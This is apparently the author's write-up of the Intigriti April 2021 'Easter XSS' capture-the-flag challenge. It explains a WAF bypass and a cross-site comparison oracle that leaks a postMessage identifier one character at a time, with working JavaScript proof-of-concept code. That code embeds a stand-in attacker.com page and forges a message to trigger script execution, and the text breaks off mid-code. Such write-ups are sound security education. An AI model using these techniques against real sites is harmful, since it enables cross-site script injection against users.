# Easter XSS by @terjanq

## A quick look

• Source code consists of two files:
• Users can inject html code via: ?error=<h1>Hello!</h1>
• Input is processed via sandboxed subframe waf.html
• Error message disappears after 10 seconds
• The site is not framable due to the X-Frame-Options: DENY header
• The goal of the challenge is to trigger an interaction-less XSS on challenge-0421.intigriti.io

## How does HTML injection work

A top window sends untrusted data through postMessage communication with a sandboxed waf.html iframe.

  function addError(str){
wafIframe.postMessage({
identifier,
str
}, '*');
}


It uses a random identifier for proof that the communication is not “intercepted”. In response, the WAF sends an object with safe attribute determining whether the input is safe or not.

onmessage = e => {
const identifier = e.data.identifier;
e.source.postMessage({
type:'waf',
identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
},'*');
}


Exposing the identifier allows for forgery of arbitrary HTML from any window context.

## Waf bypass

1. The WAF isn’t very restrictive and it allows for injection of onXXX events. However, it restricts characters appearing there to ones outside of the following: " '  [ ] { } ( ) =. This is intended to prevent arbitrary code execution, though the charset is not that restrictive.
2. It is possible to inject <object data=//atacker.com></object> to embed an external site.

## The challenge idea

The idea of the challenge comes from a real WAF bypass I discovered. Although it doesn’t seem that arbitrary XSS would be possible from the allowed characters, an attacker could inject the following condition

identifier<variable?leak_true:leak_false

So, the real goal of the challenge is to somehow leak the identifier cross-site.

One can notice that even though standard assignments are forbidden (because of =) it is still possible to assign values with either ++ or -- which more or less work like +=1 and -=1.

## Naive oracle

Let attacker.com/poc.html be the following simple page:

<iframe name=i_true
src=//challenge-0421.intigriti.io/style.css
></iframe>
<iframe name=i_false
src=//challenge-0421.intigriti.io/style.css
></iframe>
<script>
function process(value){
/* do something with the value */
}
</script>


Then by injecting this onto a challenge page via:

<object name=poc
data=//attacker.com/poc.html
></object>


depending on the result of the comparison, either iframe i_true or i_false will be reloaded. That is because top.poc.i_true.location++ will assign the URL //challenge-0421.intigriti.io/NaN to the iframe.

Note that it is important that the frames are same-origin otherwise the redirect attempt would fail.

## Parameterized oracle

The naive oracle from the previous section only yields boolean value based on a constant string 't' written as identifier</t/.source. Let’s try to parametrize the equation so it could potentially be possible to control each comparison. To smuggle the data we could for example use location.hash. The same equation could be then presented as /#/.source+identifier<location.hash if the URL fragment is set to #t.

Appending # before the identifier is required because location.hash starts with that character

With that, all we need to do is to repeat the process somehow and control location.hash in each iteration.

### Visualization by an example

Let’s visualize the technique on this simple example for an identifier 012.

'#012' < '#0' (false)
'#012' < '#1 (true) -> we can deduce that the first character is therefore 0

'#012' < '#00' (false)
'#012' < '#01' (false)
'#012' < '#02' (true) -> the second character is 1

'#012' < '#010' (false)
'#012' < '#011' (false)
'#012' < '#012' (false)
'#012' < '#013' (true) -> the third character is 2


With repeating the process we were able to leak the full identifier.

## Custom loop

With the snippet from //attacker.com/poc.html we can easily trigger as many iterations as we want by simply doing location.reload() after processing the data. That is because with each reload of the object the onload event triggers in the injected HTML code. All we need is storing already processed data somewhere (e.g. sessionStorage).

## Hints explained

Before going to the naive solution, let’s have a look at the released hints.

First hint: find the objective!

This was a hint towards <object> and figuring that the objective is to leak the identifier.

Time for another hint! Where to smuggle data?

This was a little bit too early hint but it was hinting towards both <object data and reusing some properties such as location.hash at later steps.

Time for another tip! One bite after another!

This tip was about leaking the identifier one byte after another.

Here’s an extra tip: ++ is also an assignment

It was the most direct hint towards ++ assignment which helps leak data cross-site.

“Behind a Greater Oracle there stands one great Identity” (leak it)

Construct a comparison oracle to leak the identifier.

Tipping time! Goal < object(ive)

It’s a double hint for identifier < something and to use <object

Another hint: you might need to unload a custom loop!

Create an artificial loop with <object onload= by reloading the object.

## Naive solution

By putting all together we can draft a simple payload of leaking the identifier.

<iframe name=i_true
src=//easterxss.terjanq.me/style.css
></iframe>
<iframe name=i_false
src=//easterxss.terjanq.me/style.css
></iframe>
<script>
// add ~ to the alphabet so the poc works. without it, z would be never detected
const alph = '0123456789abcdefghijklmnopqrstuvwxyz~'

// store current index and current identifier in sessionStorage
let cur_char = parseInt(sessionStorage.getItem('current')) || 0;
let cur_identifier = sessionStorage.getItem('identifier') || '';

const top_url = 'https://easterxss.terjanq.me/?error=' + encodeURIComponent(
<object name=poc
data=\${location.href}
></object>.replace(/\s+/g,' '));

if(top === window){
sessionStorage.setItem('current', 0);
sessionStorage.setItem('identifier', '');
location = top_url + '#0';
}

function process(ifr, value){
return;
}
// first less value, means the previous was matched character
if(value === true){
// If cur_char is 0, it means that the strings are equal.
if(cur_char === 0) return solve(cur_identifier);
cur_identifier += alph[cur_char-1];
console.log(cur_identifier)
// store new identifier in sessionStorage and reset cur_char
cur_char = 0;
sessionStorage.setItem('identifier', cur_identifier)
}else{
// try next character
cur_char += 1;
}
// update sessionStorage, change challenge's URL fragment to check next
// characters, and reload the window to trigger onload event again and again
sessionStorage.setItem('current', cur_char);
top.location = top_url + '#' + cur_identifier + alph[cur_char]
}

// with leaked identifier execute full blown XSS
function solve(identifier) {
top.postMessage({
type: 'waf',
identifier,
str: <iframe onload="alert(/this_is_flag/)">,
safe: true
}, '*')
}

</script>


However, this is slow and might take a few minutes to finish (here with a fast connection it takes 30-60 seconds). But if someone submitted a similar solution, it would most likely be accepted. The above code can be accessed here: easterxss.terjanq.me/naive-solution.html.

The overall goal of the challenge was to improve the efficiency of the naive solution.

## Better loop

Although location.reload() was a nice trick to trigger many onload events, it’s resource costly. Each reload is rather slow. To fix that, one can use two objects:

<object name=poc data=//attacker.com/poc.html></object>


and instead of calling location.reload() we could calltop.xss.location='//attacker.com/empty.html' to load a resource from the browser cache very efficently, or even better, load an empty blob which also has the origin attacker.com:

top.xss.location = URL.createObjectURL(new Blob([], { type: 'text/html'}));


The above technique should trigger the onload event almost instantly.

## More iframes

Instead of only using true and false iframes, we could use 36 iframes, each corresponding to a different character in its name, e.g. i_[character]. Then calling top.poc.i_t.location++ leaks the information about the character t via redirecting a specific iframe. To make it work we need to tweak the oracle a little bit and use ternary tricks to perform 36 checks. Let’s see how this could be done.

/##/.source + identifier < location.hash + /0/.source && !top.x.i_0.location++ && t.j,
/##/.source + identifier < location.hash + /1/.source && !top.x.i_1.location++ && t.j,
...,
/##/.source + identifier < location.hash + /z/.source && !top.x.i_z.location++ && t.j


The trick is that we have 36 expressions separated with , which makes them execute one after another.

If the equation /##/.source+identifier<location.hash+/0/.source is satisfied then top.x.i_0.location++ triggers, then t.j throws an exception preventing further execution of all the following expressions. Else, the next expression is tested until the equation is satisfied. That way exactly one call is made for every character.

Check out easterxss.terjanq.me/l-solution.html (source) to see the PoC in action. This solution was enough to solve the challenge while respecting all the rules.

## Let’s go faster

The solution with using location++ is dependent on the network speed and for people with a slower connection, 10 seconds might not be enough to finish execution (though it takes less than 3s for me). To remove network jitter I came up with a neat technique that instead does name++. For example, top.poc.i_3.name++ would change the iframe’s name to NaN.

### But how to detect the name change?

The name change can be detected through repeatedly checking if every iframe is still accessible via window['i_[char]']. If it is not, that means that top.poc.i_[char].name++ was called. All that is left is to restore the iframe via injecting a new iframe with the original name and remove the changed one for performance benefits.

This was implemented in easterxss.terjanq.me/n-solution.html (source)

## Dark Arts solution

It’s also possible to solve the challenge without any popups nor iframes. The trick is really neat and relies on smuggling the data into top.name.

Let’s look at the following expressions:

location.hash + /0/.source < /##/.source + identifier && ++top.name,
location.hash + /1/.source < /##/.source + identifier && ++top.name,
...,
location.hash + /z/.source < /##/.source + identifier && ++top.name


If each equation is satisfied then ++top.name is called which increases the top window’s name by 1. If we initially assign window.name=0 then after each iteration, the number will indicate which character was leaked. Then, by repeating the process, we can leak the whole identifier.

### But how to read the name??

Although it’s not possible to directly read window.name of a cross-origin resource without reloading the window, there is this neat trick of brute-guessing it.

Let’s look at: window.open('//url', 17). It tries to open a new popup with the name 17. But what happens if there is already a window with such a name? Then it attempts to redirect it instead. And it’s possible to detect whether there was an attempted navigation or a popup.

TL;DR: use a sandboxed iframe to call window.open(), that way popups will be blocked, but set sandbox=allow-top-navigation to allow top navigation changes. To prevent real navigation from happening one can use an unknown protocol such as xxxx://non-existent. Then the detection could look like:

async function getTopName() {
let i = 0;
// it's just magic. tl;dr chrome and firefox work differently
// but this polyglot works for both;
for (; i < alph.length + 1; i++) {
let res = await (async () => {
let x;
try {
`